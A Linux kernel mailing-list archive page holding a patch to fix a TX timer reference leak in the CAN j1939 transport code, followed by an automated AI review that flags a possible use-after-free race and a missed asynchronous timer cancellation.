2026-11-01 6:35 ` [PATCH net v4 1/1] " Zihan Xi
@ 2026-11-01 7:00 ` sashiko-bot
0 siblings, 0 replies; 3+ messages in thread
From: sashiko-bot @ 2026-11-01 7:00 UTC (permalink / raw)
To: Zihan Xi, linux-can
Cc: Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol,
Oleksij Rempel
Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider:
- [Critical] can: j1939: UAF race between j1939_tp_schedule_txtimer() and callback exit
- [Medium] can: j1939: missed async txtimer cancel in j1939_tp_txtimer() and rxtimer
--
commit e2501c2dd0f50e6cac1c843ab1074d873654c585
Author: Zihan Xi <zihanx@nebusec.ai>
can: j1939: fix TX timer reference leak
This commit reuses the session reference held by a queued TX timer when
its expiry is updated, and tracks queued timer and running callback
references separately under a new txtimer_lock spinlock.
Link: https://bugtracker.nebusec.ai/f/11143
> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..bf9021977d855 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
[ ... ]
> @@ -716,9 +781,51 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
>
> void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
> {
> - j1939_session_get(session);
> + bool queued;
> + int ret;
> +
> + j1939_session_list_lock(session->priv);
> + if (session->state != J1939_SESSION_ACTIVE) {
> + j1939_session_list_unlock(session->priv);
> + return;
> + }
> +
> + spin_lock(&session->txtimer_lock);
> + if (session->txtimer_cancelers || session->txtimer_shutdown) {
> + spin_unlock(&session->txtimer_lock);
> + j1939_session_list_unlock(session->priv);
> + return;
> + }
> +
> + /* Replace the queued timer without taking another session reference. */
> + ret = hrtimer_try_to_cancel(&session->txtimer);
> + if (ret == 1) {
> + if (WARN_ON_ONCE(!session->txtimer_qref))
> + j1939_session_get(session);
> + session->txtimer_qref = true;
> + } else if (ret == 0) {
> + if (!session->txtimer_qref) {
> + j1939_session_get(session);
> + session->txtimer_qref = true;
> + }
> + } else {
> + /* The callback is running; preserve its pin and pin the rearm. */
> + queued = hrtimer_is_queued(&session->txtimer);
> + if (!queued && !session->txtimer_cbref &&
> + session->txtimer_qref) {
> + session->txtimer_qref = false;
> + session->txtimer_cbref = true;
> + }
> + if (!session->txtimer_qref) {
> + j1939_session_get(session);
> + session->txtimer_qref = true;
> + }
> + }
> +
> hrtimer_start(&session->txtimer, ms_to_ktime(msec),
> HRTIMER_MODE_REL_SOFT);
> + spin_unlock(&session->txtimer_lock);
> + j1939_session_list_unlock(session->priv);
> }
[Severity: Critical]
Can this race with the end of j1939_tp_txtimer() and leave session->txtimer
queued without a session->kref reference, leading to a use-after-free of
struct j1939_session?
In j1939_tp_txtimer() at txtimer_done, the running callback (invocation 1)
clears session->txtimer_cbref and unlocks session->txtimer_lock before
returning HRTIMER_NORESTART to __run_hrtimer(), which only clears
base->running after re-acquiring the hrtimer base lock:
net/can/j1939/transport.c:j1939_tp_txtimer() {
...
txtimer_done:
j1939_session_list_lock(priv);
can_rearm = session->state == J1939_SESSION_ACTIVE;
j1939_session_list_unlock(priv);
spin_lock_bh(&session->txtimer_lock);
if (session->txtimer_qref &&
(session->txtimer_shutdown || !can_rearm))
hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
put_cbref = session->txtimer_cbref;
session->txtimer_cbref = false;
spin_unlock_bh(&session->txtimer_lock);
}
If invocation 1 previously rearmed session->txtimer (so timer->is_queued is
1, session->txtimer_qref is true, and session->txtimer_cbref is now false),
and CPU 1 enters j1939_tp_schedule_txtimer() before CPU 0 clears
base->running in __run_hrtimer():
1. On CPU 1, hrtimer_try_to_cancel(&session->txtimer) sees base->running set
and returns -1 without dequeuing the timer.
2. In the ret < 0 branch, CPU 1 reads queued = hrtimer_is_queued(), which
returns true. Because queued is true and session->txtimer_qref is true,
CPU 1 neither sets session->txtimer_cbref nor calls
j1939_session_get(session).
3. Because hrtimer_try_to_cancel(), hrtimer_is_queued(), and hrtimer_start()
are not atomic with respect to __run_hrtimer() and __hrtimer_run_queues()
on CPU 0 (which do not take session->txtimer_lock), CPU 0 can finish
__run_hrtimer() for invocation 1 and immediately dequeue the expired
timer to start invocation 2 of j1939_tp_txtimer(), which waits on
session->txtimer_lock.
4. CPU 1 then calls hrtimer_start(&session->txtimer, ...), queuing
invocation 3 while invocation 2 is already running, with only a single
reference held (session->txtimer_qref == true,
session->txtimer_cbref == false).
5. Invocation 2 on CPU 0 acquires session->txtimer_lock, consumes
session->txtimer_qref (setting session->txtimer_qref = false and
session->txtimer_cbref = true), and calls j1939_session_put(session) when
it finishes.
At that point, invocation 3 remains queued in the hrtimer tree with
session->txtimer_qref == false and no kref pinning session. If the session
is deactivated and its remaining references are dropped before invocation 3
expires, struct j1939_session is freed while session->txtimer is still
armed.
[ ... ]
> @@ -1232,7 +1370,20 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
> }
> }
>
> - j1939_session_put(session);
> +txtimer_done:
> + j1939_session_list_lock(priv);
> + can_rearm = session->state == J1939_SESSION_ACTIVE;
> + j1939_session_list_unlock(priv);
> + spin_lock_bh(&session->txtimer_lock);
> + if (session->txtimer_qref &&
> + (session->txtimer_shutdown || !can_rearm))
> + hrtimer_start(&session->txtimer, 0, HRTIMER_MODE_REL_SOFT);
> + put_cbref = session->txtimer_cbref;
> + session->txtimer_cbref = false;
> + spin_unlock_bh(&session->txtimer_lock);
> +
> + if (put_cbref)
> + j1939_session_put(session);
>
> return HRTIMER_NORESTART;
> }
[Severity: Medium]
Could a rearmed session->txtimer miss asynchronous cancellation and remain
pending with its session->kref reference held for its full timeout after
session deactivation or abort?
In j1939_tp_txtimer() at txtimer_done, priv->active_session_list_lock is
released before acquiring session->txtimer_lock, and session->txtimer_lock
is released before j1939_tp_txtimer() returns to __run_hrtimer() and clears
base->running.
If j1939_session_deactivate(), j1939_session_cancel(), or
j1939_cancel_active_session() runs on another CPU after txtimer_done unlocks
session->txtimer_lock (or between unlocking priv->active_session_list_lock
and locking session->txtimer_lock) but before __run_hrtimer() clears
base->running, j1939_session_txtimer_cancel_async_locked() sees
hrtimer_try_to_cancel(&session->txtimer) return -1 because base->running is
still set:
net/can/j1939/transport.c:j1939_session_txtimer_cancel_async_locked() {
lockdep_assert_held(&session->txtimer_lock);
session->txtimer_shutdown = true;
ret = hrtimer_try_to_cancel(&session->txtimer);
if (ret != 1)
return false;
...
}
Meanwhile, j1939_tp_txtimer() has already passed the hrtimer_start(..., 0,
...) check in txtimer_done, so a rearmed session->txtimer is neither
canceled nor shortened to 0 ms.
In addition, when j1939_tp_rxtimer() aborts an active session on RX timeout:
net/can/j1939/transport.c:j1939_tp_rxtimer() {
...
j1939_session_list_lock(session->priv);
if (session->state >= J1939_SESSION_ACTIVE &&
session->state < J1939_SESSION_ACTIVE_MAX) {
netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
__func__, session);
j1939_session_get(session);
hrtimer_start(&session->rxtimer,
ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
HRTIMER_MODE_REL_SOFT);
__j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
}
j1939_session_list_unlock(session->priv);
...
}
Unlike j1939_session_cancel(), this path transitions session->state to
J1939_SESSION_WAITING_ABORT via __j1939_session_cancel() without setting
session->txtimer_shutdown = true or calling
j1939_session_txtimer_cancel_async(session). Should j1939_tp_rxtimer() also
cancel session->txtimer asynchronously here, and can the txtimer_done window
with __run_hrtimer() be closed?
--
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793371075.git.zihanx@nebusec.ai?part=1
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-11-01 7:00 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-01 6:35 [PATCH net v4 0/1] can: j1939: fix TX timer reference leak Zihan Xi
2026-11-01 6:35 ` [PATCH net v4 1/1] " Zihan Xi
2026-11-01 7:00 ` sashiko-bot
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.